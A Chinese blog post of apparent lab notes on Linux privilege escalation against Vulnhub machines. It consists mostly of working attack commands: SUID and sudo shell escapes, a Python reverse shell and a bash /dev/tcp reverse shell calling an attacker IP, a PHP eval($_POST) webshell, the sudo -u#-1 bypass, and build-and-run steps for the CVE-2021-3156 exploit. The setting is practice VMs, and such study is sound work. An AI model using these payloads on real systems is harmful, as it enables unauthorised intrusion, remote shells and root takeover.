Linux系统权限提升篇&Vulnhub&辅助项目&SUID权限&SUDO指令&版本漏洞

Ethan医生1天前系统安全10


#信息收集

当前主机的操作系统

hostnamectl

cat /etc/*-release

lsb_release -a

cat /etc/lsb-release # Debain

cat /etc/redhat-release # Redhat

cat /etc/centos-release # Centos

cat /etc/os-release # Ubuntu

cat /etc/issue

 

当前主机的内核版本

hostnamectl

uname -a

cat /proc/version

dmesg | grep "Linux version"

 

#内核漏洞筛选:

MSF检测:

run post/multi/recon/local_exploit_suggester

 

提权脚本:

https://github.com/liamg/traitor

https://github.com/The-Z-Labs/linux-exploit-suggester

https://github.com/jondonas/linux-exploit-suggester-2

https://github.com/belane/linux-soft-exploit-suggester

 

综合脚本:

https://github.com/carlospolop/PEASS-ng

https://github.com/diego-treitos/linux-smart-enumeration

https://github.com/redcode-labs/Bashark

https://github.com/rebootuser/LinEnum

 

#常见内核漏洞案例:

dirtycow(CVE-2016-5159)

Pwnkit (CVE-2021-4034)

Dirty Pipe(CVE-2022-0847)

SUDO (CVE-2021-3156)

大脏牛 (CVE-2017–1000405)

CVE-2017-16995

CVE-2021-3560

CVE-2023-1829

CVE-2022-2588

CVE-2021-3493

CVE-2022-32250

CVE-2023-3269

CVE-2022-0995

CVE-2022-2639

CVE-2023-0386

...

 

#应用场景:

获取到Web权限或普通用户在Linux服务器上时进行的SUID&SUDO提权

 

SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

 

SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)。

 

#利用参考:

https://gtfobins.github.io/

 

#Linux系统提权-Web&用户-Suid

1、SUID&GUID

环境:https://www.vulnhub.com/entry/dc-1,292/

命令:SUID GUID

find / -perm -u=s -type f 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

项目:LinEnum PEASS-ng

/usr/bin/find . -exec '/bin/sh' \;

 

2、SUID&SUDO

环境:https://www.vulnhub.com/entry/toppo-1,245/

搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件

SUID:

/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.141",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

#Linux系统提权-Web&用户-Sudo(cve)

1、SUDO

环境:https://www.vulnhub.com/entry/toppo-1,245/

搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件

SUDO:

cat /etc/sudoers

/usr/bin/awk 'BEGIN {system("/bin/sh")}'

 

2、SUDO-CVE

环境:https://www.vulnhub.com/entry/devguru-1,620/

-信息收集:

80,8585

http://192.168.139.150/.git/

http://192.168.139.150/adminer.php

http://192.168.139.150/backend/backend/auth

http://192.168.139.150:8585/

http://192.168.139.150:8585/admin

 

-git泄漏(利用点)

python GitHack.py http://192.168.139.150/.git/

 

-访问管理(Web入口):

adminer.php 添加用户名密码 登录后台 模版 写入Shell

function onStart(){

//蚁剑连接

eval($_POST["pass"]);

}

 

-找备份寻突破(升权):

/var/backup/app.ini.bak 修改用户密码 登录后台 写入反弹

bash -c "exec bash -i >& /dev/tcp/192.168.139.141/5555 0>&1"

 

-利用sudo提权(cve):

sudo -l

sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

 

git源码泄露 => 找到数据库密码,登入 => 找到cms后台用户密码,改为已知密码 => 登入cms后台,写shell(低权限)

gitea数据库配置备份文件泄露 => 连接gitea数据库,找到gitea的用户密码 => 登入gitea,写shell(更高权限) => 提权。

 

3、SUDO-CVE

环境:kali2020

sudo: 1.8.2 - 1.8.31p2

sudo: 1.9.0 - 1.9.5p1

-判断:sudoedit -s / 报错存在

-利用:

git clone https://github.com/blasty/CVE-2021-3156.git

cd CVE-2021-3156

make

chmod a+x sudo-hax-me-a-sandwich

./sudo-hax-me-a-sandwich 0


相关文章

Linux系统权限提升篇&内核溢出&辅助项目&Vulnhub&Dcow&Pwnkit&Dirty

#Web到Win系统提权-平台&语言&用户1、Web搭建平台差异集成软件,自行搭建,虚拟化等集成软件:宝塔,PhpStudy,XAMMP等自行搭建:自己一个个下载安装搭建配置虚拟化:D...

Linux系统权限提升篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID

#Linux系统提权-Web&用户-NFS安全NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。https://...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。